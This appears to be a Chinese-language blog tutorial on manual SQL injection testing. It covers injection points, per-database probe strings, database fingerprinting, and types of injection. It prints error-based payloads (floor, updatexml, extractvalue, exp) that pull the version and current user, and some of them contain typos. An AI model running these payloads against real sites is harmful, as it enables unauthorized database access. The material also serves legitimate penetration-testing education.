一、SQL注入可以分爲三個步驟
1.識別Web應用與數據庫交互的可能輸入(識別潛在注入點)
2.SQL注入語句測試
3.根據服務器返回判定注入語句是否影響了SQL執行結果以判斷是否存在SQL注入
2.識別Web應用與數據庫交互的可能輸入點
GET請求參數
POST請求參數
Cookie
X-Forword-For
User-Agent
Refer
Host
3.SQL語句測試
由於現在許多web站點都受到WAF防護或者應用開發者自帶的代碼層Filter,在判斷是否存在Sql注入時,
測試payload越簡單越好
|
數字型 |
數字型 |
字符型 |
字符型 |
|
測試語句 |
預期結果 |
測試語句 |
預期結果 |
Oracle |
' |
出現異常 |
' |
出現異常 |
|
+-&/ |
運算被執行 |
'||' |
字符串拼接,返回與原來相同 |
DB2 |
' |
出現異常 |
' |
出現異常 |
|
+-&/ |
運算被執行 |
'||' |
字符串拼接,返回與原來相同 |
SQL Server |
+-&/ |
運算被執行 |
' |
出現異常 |
|
' |
出現異常 |
'+' |
字符串拼接,返回與原來相同 |
MySQL |
+-&/ |
運算被執行 |
' |
出現異常 |
|
' |
出現異常 |
'空格' |
字符串拼接,返回與原來相同 |
4.確認SQL注入
確認數據庫類型
基於應用開發語言判斷
基於報錯信息判斷
基於特有函數/語句判斷
基於特有數據表判斷
基於應用開發語言判斷
ORACLE: |
JAVA |
DB2: |
JAVA |
SQL Server: |
C#、ASP、.NET |
MYSQL : |
PHP、JAVA |
基於報錯信息判斷數據庫類型
Oracle:
###Error querying datgbase.Cause:java.sql.SQLsyntaxErrorException:ORA-01756:quoted string not properly terminated
SQL Server:
###Microsoft OLE DB Provider for SQLServer 錯誤‘80040e14"
MYSQL:
You have an error in your SQL syntax;check the manual that corresponds to your MySQL server verslor for the right syntax to use near 1"LIMIt 0,I at line 1
基於特有函數/語句判斷數據庫類型
|
用戶 |
字符連接 |
數據庫名 |
版本 |
取位函數 |
… |
Oracle |
user |
|| |
Select global_name from global name |
Select version from v$instance |
substr |
|
DB2 |
user |
|| |
Select current server from sysibm.sysdummy1 |
-- |
Substr() |
|
SQL Server |
User User_name() |
+ |
db_name() |
@@version |
Substring() |
|
MySQL |
User() |
space |
database() |
Version() @@version |
Substr() substring |
|
基於特有的數據表判斷
Oracle |
And (select count(*) from sys.user_tables)>0 |
DB2 |
And (select count(*) from sysibm.systables)>0 |
SQL server |
And (select count(*) from sysobjects)>0 |
Mysql |
And (select count(*) from information_schema.tables)>0 |
|
|
5.確認SQL注入方式
SQL注入按照注入方式分類可分爲兩類
顯示注入
Union query |
#聯合查詢注入,通過union聯合查詢獲取查詢結果 |
Error based |
#報錯注入,通過報錯信息獲取查詢結果 |
盲注
Boolean based blind |
#布爾盲注,通過應用返回不同的值判斷田間真假 |
Time based blind |
#時間盲注,通過不同的時間延遲推斷條件真假 |
優先級:union query ≥ error based ≥ Boolean based blind ≥ time based blind
union注入:比較簡單,就不贅述,如有需求可至主頁查看博客
報錯注入:
前提:應用可以輸出數據庫報錯信息
floor()
And (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
Upadtexml()
And 1=(updatexml(1.concat(0x3a,(select user()),1))
Extractvalue()
And extractvalue(1,concat(0x5c,(select user())))
Exp()
And exp (~select * from(select user())a))
布爾盲注
時間延遲注入
這倆用sqlmap吧,手工會累死人的